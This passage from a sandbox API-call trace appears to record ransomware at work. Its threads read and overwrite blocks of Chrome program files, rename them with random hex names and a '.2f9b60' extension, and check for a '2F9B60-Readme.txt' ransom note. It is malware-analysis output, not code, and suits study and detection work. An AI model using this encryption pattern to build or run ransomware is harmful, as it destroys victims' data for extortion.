(HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4310b900 [0226.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b900) returned 1 [0226.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420560b0) returned 1 [0226.907] NtQueryInformationFile (in: FileHandle=0x694, IoStatusBlock=0x30bbf7d8, FileInformation=0x30bbf7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30bbf7d8, FileInformation=0x30bbf7e8) returned 0x0 [0226.908] NtSetInformationFile (FileHandle=0x694, IoStatusBlock=0x30bbf7d8, FileInformation=0x30bbf7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0238.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d370) returned 1 [0238.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0238.043] FlushFileBuffers (hFile=0x694) returned 1 [0238.254] CloseHandle (hObject=0x694) returned 1 [0241.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd65080 [0241.718] wcscpy (in: _Dest=0x1cd65080, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0241.718] wcscat (in: _Dest=0x1cd65080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0241.718] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0x20 [0241.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65080) returned 1 [0241.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad8c0) returned 1 Thread: id = 2511 os_tid = 0x1fb0 [0154.672] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin")) returned 0x20 [0154.672] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin", dwFileAttributes=0x20) returned 1 [0154.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x698 [0154.673] GetFileSizeEx (in: hFile=0x698, lpFileSize=0x3112fd60 | out: lpFileSize=0x3112fd60*=1449400) returned 1 [0154.673] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x161db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.673] ReadFile (in: hFile=0x698, lpBuffer=0x3112fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3112fd28, lpOverlapped=0x0 | out: lpBuffer=0x3112fce0*, lpNumberOfBytesRead=0x3112fd28*=0x4, lpOverlapped=0x0) returned 1 [0154.771] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e30 [0154.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9fb0 [0154.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda040 [0154.771] NtQuerySystemTime (in: CurrentTime=0x3112fc20 | out: CurrentTime=0x3112fc20*=132462177599074000) returned 0x0 [0154.771] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x3548ff8f [0154.771] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x253fef0b [0154.771] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x16896c01 [0154.771] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x25040b9d [0154.771] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x24ea8e46 [0154.771] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x805a0ef [0154.771] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x3cc08de1 [0154.771] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x16b70474 [0154.771] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x35197a8 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x6180dd3f [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x1a3020fc [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x7063757e [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x15862d5d [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x3c95b521 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x74a87e5a [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x3bd720cd [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x6479e9c2 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x351951cb [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x525abe31 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x45bbb09c [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x6a24161 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x4cd069f [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x57a58bcd [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x5f9e4d15 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x404f6379 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x6201a40d [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x2a1a5a58 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x74763b5a [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x26348d78 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x7c4d013a [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x48c29871 [0154.772] RtlRandomEx (in: Seed=0x3112fc10 | out: Seed=0x3112fc10) returned 0x20ec009b [0154.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda070 [0154.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda0a0 [0154.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda040) returned 1 [0154.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e30) returned 1 [0154.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42856280 [0154.783] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.783] ReadFile (in: hFile=0x698, lpBuffer=0x42856280, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3112fc80, lpOverlapped=0x0 | out: lpBuffer=0x42856280*, lpNumberOfBytesRead=0x3112fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0154.807] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1fc0 [0154.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda190 [0154.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda190) returned 1 [0154.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42868ed0 [0154.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda190 [0154.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1c0 [0154.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1c0) returned 1 [0154.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1fc0) returned 1 [0154.809] WriteFile (hFile=0x698, lpBuffer=0x42868ed0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3112fc80, lpOverlapped=0x0) [0194.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42868ed0) returned 1 [0194.385] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0xb4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.385] ReadFile (in: hFile=0x698, lpBuffer=0x42856280, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3112fc80, lpOverlapped=0x0 | out: lpBuffer=0x42856280*, lpNumberOfBytesRead=0x3112fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0194.568] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0xb4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba3e0 [0194.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5030 [0194.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5030) returned 1 [0194.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20464b40 [0194.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5030 [0194.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a51b0 [0194.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a51b0) returned 1 [0194.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba3e0) returned 1 [0194.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.571] WriteFile (in: hFile=0x698, lpBuffer=0x20464b40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3112fc80, lpOverlapped=0x0 | out: lpBuffer=0x20464b40*, lpNumberOfBytesWritten=0x3112fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0210.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20464b40) returned 1 [0210.374] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x15e1b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.374] ReadFile (in: hFile=0x698, lpBuffer=0x42856280, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3112fc80, lpOverlapped=0x0 | out: lpBuffer=0x42856280*, lpNumberOfBytesRead=0x3112fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0210.386] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x15e1b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0210.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0210.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd870 [0210.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd870) returned 1 [0210.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20455b00 [0210.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd870 [0210.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0210.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb70) returned 1 [0210.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0210.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0210.389] WriteFile (in: hFile=0x698, lpBuffer=0x20455b00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3112fc80, lpOverlapped=0x0 | out: lpBuffer=0x20455b00*, lpNumberOfBytesWritten=0x3112fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0222.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20455b00) returned 1 [0222.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15840 [0222.402] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.402] WriteFile (in: hFile=0x698, lpBuffer=0x133a20*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3112fd30, lpOverlapped=0x0 | out: lpBuffer=0x133a20*, lpNumberOfBytesWritten=0x3112fd30*=0x154, lpOverlapped=0x0) returned 1 [0224.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0224.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0224.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fffc0 [0224.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fffc0) returned 1 [0224.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fffc0 [0224.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fff90 [0224.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fff30 [0224.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fff30) returned 1 [0224.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0224.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0224.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce61e20 [0224.657] sprintf (in: _Dest=0x1ce61e20, _Format="%c%c" | out: _Dest="d9") returned 2 [0224.657] sprintf (in: _Dest=0x1ce61e22, _Format="%c%c" | out: _Dest="2b") returned 2 [0224.657] sprintf (in: _Dest=0x1ce61e24, _Format="%c%c" | out: _Dest="60") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e26, _Format="%c%c" | out: _Dest="ed") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e28, _Format="%c%c" | out: _Dest="d6") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e2a, _Format="%c%c" | out: _Dest="39") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e2c, _Format="%c%c" | out: _Dest="02") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e2e, _Format="%c%c" | out: _Dest="ff") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e30, _Format="%c%c" | out: _Dest="37") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e32, _Format="%c%c" | out: _Dest="e4") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e34, _Format="%c%c" | out: _Dest="59") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e36, _Format="%c%c" | out: _Dest="65") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e38, _Format="%c%c" | out: _Dest="a8") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e3a, _Format="%c%c" | out: _Dest="e2") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e3c, _Format="%c%c" | out: _Dest="14") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e3e, _Format="%c%c" | out: _Dest="e9") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e40, _Format="%c%c" | out: _Dest="7c") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e42, _Format="%c%c" | out: _Dest="dc") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e44, _Format="%c%c" | out: _Dest="d1") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e46, _Format="%c%c" | out: _Dest="62") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e48, _Format="%c%c" | out: _Dest="17") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e4a, _Format="%c%c" | out: _Dest="78") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e4c, _Format="%c%c" | out: _Dest="01") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e4e, _Format="%c%c" | out: _Dest="bb") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e50, _Format="%c%c" | out: _Dest="ac") returned 2 [0224.658] sprintf (in: _Dest=0x1ce61e52, _Format="%c%c" | out: _Dest="d2") returned 2 [0224.659] sprintf (in: _Dest=0x1ce61e54, _Format="%c%c" | out: _Dest="b4") returned 2 [0224.659] sprintf (in: _Dest=0x1ce61e56, _Format="%c%c" | out: _Dest="53") returned 2 [0224.659] sprintf (in: _Dest=0x1ce61e58, _Format="%c%c" | out: _Dest="4e") returned 2 [0224.659] sprintf (in: _Dest=0x1ce61e5a, _Format="%c%c" | out: _Dest="91") returned 2 [0224.659] sprintf (in: _Dest=0x1ce61e5c, _Format="%c%c" | out: _Dest="b6") returned 2 [0224.659] sprintf (in: _Dest=0x1ce61e5e, _Format="%c%c" | out: _Dest="e0") returned 2 [0224.659] sprintf (in: _Dest=0x1ce61e60, _Format="%c%c" | out: _Dest="30") returned 2 [0224.659] sprintf (in: _Dest=0x1ce61e62, _Format="%c%c" | out: _Dest="d0") returned 2 [0224.659] RtlInitAnsiString (in: DestinationString=0x3112fda8, SourceString="d92b60edd63902ff37e45965a8e214e97cdcd162177801bbacd2b4534e91b6e030d0" | out: DestinationString="d92b60edd63902ff37e45965a8e214e97cdcd162177801bbacd2b4534e91b6e030d0") [0224.659] RtlAnsiStringToUnicodeString (in: DestinationString=0x3112fd78, SourceString="d92b60edd63902ff37e45965a8e214e97cdcd162177801bbacd2b4534e91b6e030d0", AllocateDestinationString=1 | out: DestinationString="d92b60edd63902ff37e45965a8e214e97cdcd162177801bbacd2b4534e91b6e030d0") returned 0x0 [0224.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20505ff0 [0224.660] wcscat (in: _Dest=0x202794f0, _Source="d92b60edd63902ff3" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\d92b60edd63902ff3") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\d92b60edd63902ff3" [0224.660] wcscat (in: _Dest=0x202794f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\d92b60edd63902ff3.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\d92b60edd63902ff3.2f9b60" [0224.660] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\d92b60edd63902ff3.2f9b60", NtPathName=0x3112fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\d92b60edd63902ff3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0224.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776930 [0235.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776930) returned 1 [0235.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bd590) returned 1 [0235.306] NtQueryInformationFile (in: FileHandle=0x698, IoStatusBlock=0x3112fdb8, FileInformation=0x3112fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3112fdb8, FileInformation=0x3112fdc8) returned 0x0 [0235.306] NtSetInformationFile (FileHandle=0x698, IoStatusBlock=0x3112fdb8, FileInformation=0x3112fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202794f0) returned 1 [0236.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505ff0) returned 1 [0236.676] FlushFileBuffers (hFile=0x698) returned 1 [0238.188] CloseHandle (hObject=0x698) returned 1 [0240.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64e70 [0240.509] wcscpy (in: _Dest=0x1cd64e70, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0240.509] wcscat (in: _Dest=0x1cd64e70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0240.509] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0x20 [0240.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64e70) returned 1 [0240.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 Thread: id = 2512 os_tid = 0x1fb4 [0154.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65810 [0154.676] wcscpy (in: _Dest=0x1cd65810, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0154.676] wcscat (in: _Dest=0x1cd65810, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0154.676] wcscat (in: _Dest=0x1cd65810, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*" [0154.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1dd20 [0154.677] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*", lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5da0 [0154.739] wcscmp (_String1=".", _String2=".") returned 0 [0154.739] FindNextFileW (in: hFindFile=0x1ced5da0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.740] wcscmp (_String1="..", _String2=".") returned 1 [0154.740] wcscmp (_String1="..", _String2="..") returned 0 [0154.740] FindNextFileW (in: hFindFile=0x1ced5da0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a589f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x442a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0154.740] wcscmp (_String1="logo.png", _String2=".") returned 1 [0154.740] wcscmp (_String1="logo.png", _String2="..") returned 1 [0154.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20278d70 [0154.740] wcscpy (in: _Dest=0x20278d70, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0154.740] wcscat (in: _Dest=0x20278d70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0154.740] wcscat (in: _Dest=0x20278d70, _Source="logo.png" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png" [0159.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130c [0159.031] FindNextFileW (in: hFindFile=0x1ced5da0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 